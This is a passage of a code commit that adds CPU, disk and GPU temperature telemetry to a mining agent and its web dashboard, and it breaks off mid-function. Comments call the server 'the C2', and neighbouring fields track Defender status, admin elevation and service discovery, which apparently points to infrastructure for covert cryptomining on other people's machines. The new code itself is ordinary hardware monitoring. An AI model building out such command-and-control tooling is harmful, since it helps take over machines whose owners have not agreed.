feat: resource_pressure - disk free, CPU freq/throttle/temp, GPU temp via nvidia-smi
This commit is contained in:
@@ -589,6 +589,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
var probeTick int
|
var probeTick int
|
||||||
var lastSSH *bool
|
var lastSSH *bool
|
||||||
var lastPosture *PostureReport
|
var lastPosture *PostureReport
|
||||||
|
var lastPressure *ResourcePressure
|
||||||
var postureReady bool
|
var postureReady bool
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
@@ -628,7 +629,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
accepted := c.sharesAccepted
|
accepted := c.sharesAccepted
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
// Probe SSH + full posture every 6 ticks (~60s)
|
// Probe SSH, posture, and resource pressure every 6 ticks (~60s)
|
||||||
if probeTick%6 == 0 {
|
if probeTick%6 == 0 {
|
||||||
ok := probeSSH()
|
ok := probeSSH()
|
||||||
lastSSH = &ok
|
lastSSH = &ok
|
||||||
@@ -639,6 +640,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
lastSSH = p.SSHListening
|
lastSSH = p.SSHListening
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
lastPressure = collectResourcePressure()
|
||||||
}
|
}
|
||||||
probeTick++
|
probeTick++
|
||||||
|
|
||||||
@@ -653,6 +655,17 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||||
SSHAvailable: lastSSH,
|
SSHAvailable: lastSSH,
|
||||||
}
|
}
|
||||||
|
if lastPressure != nil {
|
||||||
|
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||||
|
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||||
|
stats.CPUThrottle = lastPressure.CPUThrottle
|
||||||
|
stats.CPUTempC = lastPressure.CPUTempC
|
||||||
|
stats.DiskFreeGB = lastPressure.DiskFreeGB
|
||||||
|
stats.DiskTotalGB = lastPressure.DiskTotalGB
|
||||||
|
stats.DiskFreePct = lastPressure.DiskFreePct
|
||||||
|
stats.GPUTempC = lastPressure.GPUTempC
|
||||||
|
stats.GPUUsagePct = lastPressure.GPUUsagePct
|
||||||
|
}
|
||||||
if postureReady && lastPosture != nil {
|
if postureReady && lastPosture != nil {
|
||||||
score := lastPosture.PostureScore
|
score := lastPosture.PostureScore
|
||||||
stats.PostureScore = &score
|
stats.PostureScore = &score
|
||||||
|
|||||||
@@ -76,6 +76,17 @@ type StatsPayload struct {
|
|||||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||||
UptimeSeconds int `json:"uptime_seconds"`
|
UptimeSeconds int `json:"uptime_seconds"`
|
||||||
|
|
||||||
|
// Resource pressure (mining-specific runtime telemetry)
|
||||||
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||||
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||||
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
||||||
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
||||||
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
||||||
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
||||||
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||||
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||||
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||||
|
|
||||||
// SSH + posture
|
// SSH + posture
|
||||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||||
PostureScore *int `json:"posture_score,omitempty"`
|
PostureScore *int `json:"posture_score,omitempty"`
|
||||||
|
|||||||
81
agent/client/resource_pressure.go
Normal file
81
agent/client/resource_pressure.go
Normal file
@@ -0,0 +1,81 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ResourcePressure is a mining-specific runtime snapshot sent every heartbeat.
|
||||||
|
// It lets the C2 flag nodes that are thermally or disk-starved BEFORE hashrate
|
||||||
|
// drops — key for the "is this box safe to mine on?" question.
|
||||||
|
type ResourcePressure struct {
|
||||||
|
// CPU frequency (throttle detection)
|
||||||
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||||
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||||
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"` // true when cur < 80% of max
|
||||||
|
|
||||||
|
// CPU thermal
|
||||||
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
||||||
|
|
||||||
|
// Disk (drive hosting the miner binary)
|
||||||
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
||||||
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
||||||
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||||
|
|
||||||
|
// GPU (NVIDIA via nvidia-smi — optional)
|
||||||
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||||
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// DiskPressure returns true when less than 10 % of disk is free.
|
||||||
|
func (r *ResourcePressure) DiskPressure() bool {
|
||||||
|
return r != nil && r.DiskFreePct != nil && *r.DiskFreePct < 10
|
||||||
|
}
|
||||||
|
|
||||||
|
// ThermalPressure returns true when CPU > 85 °C or GPU > 82 °C.
|
||||||
|
func (r *ResourcePressure) ThermalPressure() bool {
|
||||||
|
if r == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if r.CPUTempC != nil && *r.CPUTempC > 85 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if r.GPUTempC != nil && *r.GPUTempC > 82 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Throttled returns true when the CPU is running below 80 % of its rated speed.
|
||||||
|
func (r *ResourcePressure) Throttled() bool {
|
||||||
|
return r != nil && r.CPUThrottle != nil && *r.CPUThrottle
|
||||||
|
}
|
||||||
|
|
||||||
|
// probeGPU queries nvidia-smi for temperature and utilisation.
|
||||||
|
// Returns (nil, nil) when no NVIDIA GPU is present or nvidia-smi is absent.
|
||||||
|
func probeGPU() (tempC, usagePct *int) {
|
||||||
|
out, err := exec.Command(
|
||||||
|
"nvidia-smi",
|
||||||
|
"--query-gpu=temperature.gpu,utilization.gpu",
|
||||||
|
"--format=csv,noheader,nounits",
|
||||||
|
).Output()
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
line := strings.TrimSpace(string(out))
|
||||||
|
// First GPU only; multi-GPU rigs can extend later.
|
||||||
|
parts := strings.SplitN(line, ",", 2)
|
||||||
|
if len(parts) >= 1 {
|
||||||
|
if n, e := strconv.Atoi(strings.TrimSpace(parts[0])); e == nil {
|
||||||
|
tempC = &n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(parts) >= 2 {
|
||||||
|
clean := strings.TrimSuffix(strings.TrimSpace(parts[1]), " %")
|
||||||
|
if n, e := strconv.Atoi(strings.TrimSpace(clean)); e == nil {
|
||||||
|
usagePct = &n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
108
agent/client/resource_unix.go
Normal file
108
agent/client/resource_unix.go
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"math"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
// collectResourcePressure gathers disk, CPU frequency/temp, and GPU metrics on Linux/macOS.
|
||||||
|
func collectResourcePressure() *ResourcePressure {
|
||||||
|
r := &ResourcePressure{}
|
||||||
|
|
||||||
|
// ── Disk free space ───────────────────────────────────────────────────────
|
||||||
|
exe, _ := os.Executable()
|
||||||
|
if exe == "" {
|
||||||
|
exe = "/"
|
||||||
|
}
|
||||||
|
freeGB, totalGB, freePct := unixDiskStats(filepath.Dir(exe))
|
||||||
|
if freePct >= 0 {
|
||||||
|
r.DiskFreeGB = &freeGB
|
||||||
|
r.DiskTotalGB = &totalGB
|
||||||
|
r.DiskFreePct = &freePct
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── CPU frequency ─────────────────────────────────────────────────────────
|
||||||
|
cur := readSysInt("/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq")
|
||||||
|
max := readSysInt("/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq")
|
||||||
|
if cur > 0 {
|
||||||
|
mhz := cur / 1000
|
||||||
|
r.CPUFreqMHz = &mhz
|
||||||
|
}
|
||||||
|
if max > 0 {
|
||||||
|
mhz := max / 1000
|
||||||
|
r.CPUMaxMHz = &mhz
|
||||||
|
if cur > 0 {
|
||||||
|
throttled := float64(cur) < float64(max)*0.80
|
||||||
|
r.CPUThrottle = &throttled
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── CPU thermal ───────────────────────────────────────────────────────────
|
||||||
|
if temp := probeCPUTemp(); temp > 0 {
|
||||||
|
r.CPUTempC = &temp
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── GPU (NVIDIA) ──────────────────────────────────────────────────────────
|
||||||
|
r.GPUTempC, r.GPUUsagePct = probeGPU()
|
||||||
|
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
// unixDiskStats returns (freeGB, totalGB, freePct) for the filesystem at path.
|
||||||
|
func unixDiskStats(path string) (freeGB, totalGB float64, freePct int) {
|
||||||
|
var stat syscall.Statfs_t
|
||||||
|
if err := syscall.Statfs(path, &stat); err != nil {
|
||||||
|
return 0, 0, -1
|
||||||
|
}
|
||||||
|
if stat.Blocks == 0 {
|
||||||
|
return 0, 0, -1
|
||||||
|
}
|
||||||
|
bsize := uint64(stat.Bsize)
|
||||||
|
total := stat.Blocks * bsize
|
||||||
|
free := stat.Bavail * bsize
|
||||||
|
|
||||||
|
const gb = 1024 * 1024 * 1024
|
||||||
|
totalGB = math.Round(float64(total)/gb*100) / 100
|
||||||
|
freeGB = math.Round(float64(free)/gb*100) / 100
|
||||||
|
freePct = int(float64(free) / float64(total) * 100)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// probeCPUTemp reads from the thermal subsystem. Returns 0 when unavailable.
|
||||||
|
func probeCPUTemp() int {
|
||||||
|
// Try coretemp / k10temp style entries first (millidegrees)
|
||||||
|
for _, zone := range []string{
|
||||||
|
"/sys/class/thermal/thermal_zone0/temp",
|
||||||
|
"/sys/class/thermal/thermal_zone1/temp",
|
||||||
|
"/sys/class/hwmon/hwmon0/temp1_input",
|
||||||
|
"/sys/class/hwmon/hwmon1/temp1_input",
|
||||||
|
} {
|
||||||
|
if n := readSysInt(zone); n > 0 {
|
||||||
|
// values > 1000 are in millidegrees
|
||||||
|
if n > 1000 {
|
||||||
|
return n / 1000
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// readSysInt reads a single integer from a sysfs/procfs file.
|
||||||
|
func readSysInt(path string) int {
|
||||||
|
b, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
n, err := strconv.Atoi(strings.TrimSpace(string(b)))
|
||||||
|
if err != nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
93
agent/client/resource_windows.go
Normal file
93
agent/client/resource_windows.go
Normal file
@@ -0,0 +1,93 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"math"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
// collectResourcePressure gathers disk, CPU throttle, and GPU metrics on Windows.
|
||||||
|
func collectResourcePressure() *ResourcePressure {
|
||||||
|
r := &ResourcePressure{}
|
||||||
|
|
||||||
|
// ── Disk free space ───────────────────────────────────────────────────────
|
||||||
|
// Check the drive that hosts the running binary.
|
||||||
|
exe, _ := os.Executable()
|
||||||
|
if exe == "" {
|
||||||
|
exe = `C:\`
|
||||||
|
}
|
||||||
|
freeGB, totalGB, freePct := winDiskStats(filepath.VolumeName(exe))
|
||||||
|
if freePct >= 0 {
|
||||||
|
r.DiskFreeGB = &freeGB
|
||||||
|
r.DiskTotalGB = &totalGB
|
||||||
|
r.DiskFreePct = &freePct
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── CPU frequency via short PowerShell call ───────────────────────────────
|
||||||
|
const cpuScript = `$c=Get-CimInstance Win32_Processor|Select-Object -First 1 CurrentClockSpeed,MaxClockSpeed;@{freq=[int]$c.CurrentClockSpeed;max=[int]$c.MaxClockSpeed}|ConvertTo-Json -Compress`
|
||||||
|
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", cpuScript).Output(); err == nil {
|
||||||
|
var m map[string]interface{}
|
||||||
|
if json.Unmarshal([]byte(strings.TrimSpace(string(out))), &m) == nil {
|
||||||
|
if freq, ok := m["freq"].(float64); ok && freq > 0 {
|
||||||
|
n := int(freq)
|
||||||
|
r.CPUFreqMHz = &n
|
||||||
|
}
|
||||||
|
if max, ok := m["max"].(float64); ok && max > 0 {
|
||||||
|
n := int(max)
|
||||||
|
r.CPUMaxMHz = &n
|
||||||
|
if r.CPUFreqMHz != nil {
|
||||||
|
throttled := float64(*r.CPUFreqMHz) < float64(n)*0.80
|
||||||
|
r.CPUThrottle = &throttled
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── GPU (NVIDIA) ──────────────────────────────────────────────────────────
|
||||||
|
r.GPUTempC, r.GPUUsagePct = probeGPU()
|
||||||
|
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
// winDiskStats returns (freeGB, totalGB, freePct) for the given drive letter root.
|
||||||
|
// e.g. pass "C:" — the function appends the backslash.
|
||||||
|
// Returns freePct = -1 on failure.
|
||||||
|
func winDiskStats(volumeName string) (freeGB, totalGB float64, freePct int) {
|
||||||
|
root := volumeName
|
||||||
|
if root == "" {
|
||||||
|
root = "C:"
|
||||||
|
}
|
||||||
|
root += `\`
|
||||||
|
|
||||||
|
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||||
|
getDiskFreeSpaceEx := kernel32.NewProc("GetDiskFreeSpaceExW")
|
||||||
|
|
||||||
|
rootPtr, err := syscall.UTF16PtrFromString(root)
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, -1
|
||||||
|
}
|
||||||
|
|
||||||
|
var freeAvail, total, totalFree uint64
|
||||||
|
ret, _, _ := getDiskFreeSpaceEx.Call(
|
||||||
|
uintptr(unsafe.Pointer(rootPtr)),
|
||||||
|
uintptr(unsafe.Pointer(&freeAvail)),
|
||||||
|
uintptr(unsafe.Pointer(&total)),
|
||||||
|
uintptr(unsafe.Pointer(&totalFree)),
|
||||||
|
)
|
||||||
|
if ret == 0 || total == 0 {
|
||||||
|
return 0, 0, -1
|
||||||
|
}
|
||||||
|
|
||||||
|
const gb = 1024 * 1024 * 1024
|
||||||
|
freeGB = math.Round(float64(freeAvail)/gb*100) / 100
|
||||||
|
totalGB = math.Round(float64(total)/gb*100) / 100
|
||||||
|
freePct = int(float64(freeAvail) / float64(total) * 100)
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -519,6 +519,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||||
UptimeSeconds int `json:"uptime_seconds"`
|
UptimeSeconds int `json:"uptime_seconds"`
|
||||||
|
// Resource pressure
|
||||||
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||||
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||||
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
||||||
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
||||||
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
||||||
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
||||||
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||||
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||||
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||||
|
// SSH + posture
|
||||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||||
PostureScore *int `json:"posture_score,omitempty"`
|
PostureScore *int `json:"posture_score,omitempty"`
|
||||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||||
@@ -565,6 +576,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
"shares_submitted": stats.SharesSubmitted,
|
"shares_submitted": stats.SharesSubmitted,
|
||||||
"shares_accepted": stats.SharesAccepted,
|
"shares_accepted": stats.SharesAccepted,
|
||||||
}
|
}
|
||||||
|
// Resource pressure fields
|
||||||
|
if stats.CPUFreqMHz != nil { broadcast["cpu_freq_mhz"] = *stats.CPUFreqMHz }
|
||||||
|
if stats.CPUMaxMHz != nil { broadcast["cpu_max_mhz"] = *stats.CPUMaxMHz }
|
||||||
|
if stats.CPUThrottle != nil { broadcast["cpu_throttle"] = *stats.CPUThrottle }
|
||||||
|
if stats.CPUTempC != nil { broadcast["cpu_temp_c"] = *stats.CPUTempC }
|
||||||
|
if stats.DiskFreeGB != nil { broadcast["disk_free_gb"] = *stats.DiskFreeGB }
|
||||||
|
if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB }
|
||||||
|
if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct }
|
||||||
|
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||||
|
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||||
|
|
||||||
if stats.SSHAvailable != nil {
|
if stats.SSHAvailable != nil {
|
||||||
broadcast["ssh_available"] = *stats.SSHAvailable
|
broadcast["ssh_available"] = *stats.SSHAvailable
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -34,6 +34,17 @@ type Agent struct {
|
|||||||
|
|
||||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||||
|
|
||||||
|
// Resource pressure — mining-specific runtime telemetry
|
||||||
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||||
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||||
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
||||||
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
||||||
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
||||||
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
||||||
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||||
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||||
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||||
|
|
||||||
// Crucible — SSH status probed by the agent every ~60s
|
// Crucible — SSH status probed by the agent every ~60s
|
||||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||||
|
|
||||||
|
|||||||
@@ -114,6 +114,15 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
(update.shares_accepted ?? a.shares_good)
|
(update.shares_accepted ?? a.shares_good)
|
||||||
),
|
),
|
||||||
status: 'online' as const,
|
status: 'online' as const,
|
||||||
|
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||||
|
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||||
|
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||||
|
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
|
||||||
|
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
|
||||||
|
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
|
||||||
|
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||||
|
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||||
|
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||||
|
|||||||
@@ -226,6 +226,21 @@
|
|||||||
50% { opacity: 0.45; }
|
50% { opacity: 0.45; }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ── Resource pressure badges ─────────────────────────────────────────────── */
|
||||||
|
.cn-thermal, .cn-disk, .cn-throttle {
|
||||||
|
font-size: 0.62rem;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
padding: 1px 4px;
|
||||||
|
border-radius: 3px;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
cursor: default;
|
||||||
|
}
|
||||||
|
.cn-thermal.therm-hot { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; }
|
||||||
|
.cn-thermal.therm-warm { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
|
.cn-disk.disk-crit { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; }
|
||||||
|
.cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
|
.cn-throttle.therm-warm{ color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
|
|
||||||
/* ── T1007 service row ─────────────────────────────────────────────────────── */
|
/* ── T1007 service row ─────────────────────────────────────────────────────── */
|
||||||
.cn-services {
|
.cn-services {
|
||||||
display: flex;
|
display: flex;
|
||||||
|
|||||||
@@ -78,6 +78,20 @@ function postureTooltip(agent: Agent): string {
|
|||||||
if (agent.reboot_pending !== undefined) {
|
if (agent.reboot_pending !== undefined) {
|
||||||
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
|
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
|
||||||
}
|
}
|
||||||
|
// Resource pressure
|
||||||
|
const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null;
|
||||||
|
if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) {
|
||||||
|
lines.push('──────────────────────');
|
||||||
|
if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? ' THROTTLED' : ''}`);
|
||||||
|
if (agent.disk_free_pct !== undefined) {
|
||||||
|
lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`);
|
||||||
|
}
|
||||||
|
if (agent.cpu_freq_mhz && agent.cpu_max_mhz) {
|
||||||
|
lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`);
|
||||||
|
}
|
||||||
|
if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`);
|
||||||
|
}
|
||||||
|
|
||||||
if (agent.services?.length) {
|
if (agent.services?.length) {
|
||||||
lines.push('──────────────────────');
|
lines.push('──────────────────────');
|
||||||
lines.push('Services (T1007):');
|
lines.push('Services (T1007):');
|
||||||
@@ -102,7 +116,34 @@ function pendingBadge(agent: Agent): { label: string; cls: string } | null {
|
|||||||
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
|
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
|
||||||
if (agent.reboot_pending === undefined) return null;
|
if (agent.reboot_pending === undefined) return null;
|
||||||
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
|
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
|
||||||
return null; // no badge when not pending — cleaner UI
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Resource pressure badges ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
function thermalBadge(agent: Agent): { label: string; cls: string } | null {
|
||||||
|
const t = agent.gpu_temp_c ?? agent.cpu_temp_c;
|
||||||
|
if (t === undefined) return null;
|
||||||
|
if (t > 80) return { label: `${t}°`, cls: 'therm-hot' };
|
||||||
|
if (t > 65) return { label: `${t}°`, cls: 'therm-warm' };
|
||||||
|
return null; // cool enough — no badge clutter
|
||||||
|
}
|
||||||
|
|
||||||
|
function diskBadge(agent: Agent): { label: string; cls: string } | null {
|
||||||
|
const pct = agent.disk_free_pct;
|
||||||
|
if (pct === undefined) return null;
|
||||||
|
if (pct < 5) return { label: `DISK ${pct}%`, cls: 'disk-crit' };
|
||||||
|
if (pct < 15) return { label: `DISK ${pct}%`, cls: 'disk-warn' };
|
||||||
|
return null; // plenty of space — no badge
|
||||||
|
}
|
||||||
|
|
||||||
|
function throttleBadge(agent: Agent): { label: string; cls: string } | null {
|
||||||
|
if (!agent.cpu_throttle) return null;
|
||||||
|
const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz
|
||||||
|
? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100)
|
||||||
|
: null;
|
||||||
|
const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL';
|
||||||
|
return { label, cls: 'therm-warm' };
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
||||||
@@ -516,6 +557,24 @@ export default function CruciblePage() {
|
|||||||
{a.agent_elevated && (
|
{a.agent_elevated && (
|
||||||
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
|
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
|
||||||
)}
|
)}
|
||||||
|
{(() => { const tb = thermalBadge(a); return tb && (
|
||||||
|
<div
|
||||||
|
className={`cn-thermal ${tb.cls}`}
|
||||||
|
title={`CPU: ${a.cpu_temp_c ?? '?'}°C GPU: ${a.gpu_temp_c ?? '?'}°C`}
|
||||||
|
>{tb.label}</div>
|
||||||
|
); })()}
|
||||||
|
{(() => { const db = diskBadge(a); return db && (
|
||||||
|
<div
|
||||||
|
className={`cn-disk ${db.cls}`}
|
||||||
|
title={`Disk: ${a.disk_free_gb?.toFixed(1) ?? '?'} GB free of ${a.disk_total_gb?.toFixed(0) ?? '?'} GB`}
|
||||||
|
>{db.label}</div>
|
||||||
|
); })()}
|
||||||
|
{(() => { const trb = throttleBadge(a); return trb && (
|
||||||
|
<div
|
||||||
|
className={`cn-throttle ${trb.cls}`}
|
||||||
|
title={`CPU running at ${a.cpu_freq_mhz ?? '?'} MHz (max ${a.cpu_max_mhz ?? '?'} MHz)`}
|
||||||
|
>{trb.label}</div>
|
||||||
|
); })()}
|
||||||
</div>
|
</div>
|
||||||
{a.services && a.services.length > 0 && (
|
{a.services && a.services.length > 0 && (
|
||||||
<div className="cn-services">
|
<div className="cn-services">
|
||||||
|
|||||||
@@ -171,6 +171,35 @@ export default function DashboardPage() {
|
|||||||
return Math.round((times.length / spanMs) * 3_600_000);
|
return Math.round((times.length / spanMs) * 3_600_000);
|
||||||
}, [shares]);
|
}, [shares]);
|
||||||
|
|
||||||
|
// ── Resource pressure fleet stats ─────────────────────────────────────────
|
||||||
|
const onlineAgents = useMemo(() => agents.filter(a => a.status === 'online'), [agents]);
|
||||||
|
|
||||||
|
const hottestNode = useMemo(() => {
|
||||||
|
let best: typeof agents[0] | null = null;
|
||||||
|
let max = -Infinity;
|
||||||
|
for (const a of onlineAgents) {
|
||||||
|
const t = a.gpu_temp_c ?? a.cpu_temp_c ?? -1;
|
||||||
